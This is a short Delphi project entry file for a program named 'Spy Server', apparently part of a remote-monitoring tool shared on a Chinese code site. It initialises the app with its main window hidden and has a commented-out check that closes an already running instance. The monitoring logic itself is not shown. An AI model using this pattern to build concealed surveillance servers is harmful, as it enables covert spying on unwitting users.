spyserver.~dpr

来自「一个远程监控程序」· ~DPR 代码 · 共 24 行

program SpyServer;

uses
  Forms,
  Messages,
  Windows,
  Umain in 'Umain.pas' {Spyser},
  Rec_Message in 'Rec_Message.pas' {frmMessage},
  Error in 'Error.pas' {frmError};

{$R *.RES}
 var Exehandle:Thandle;        
begin
 //查测内存中是否存在该应用程序，如果存在则发送退出消息//
{  ExeHandle:=FindWindow(nil,'Spy Server');
  if ExeHandle<>0 then
     sendmessage(ExeHandle,WM_Close,0,0);}
  Application.Initialize;
  Application.Title:='Spy Server';
  Application.CreateForm(TSpyser, Spyser);
  Application.ShowMainForm := false;
  Application.Run;
end.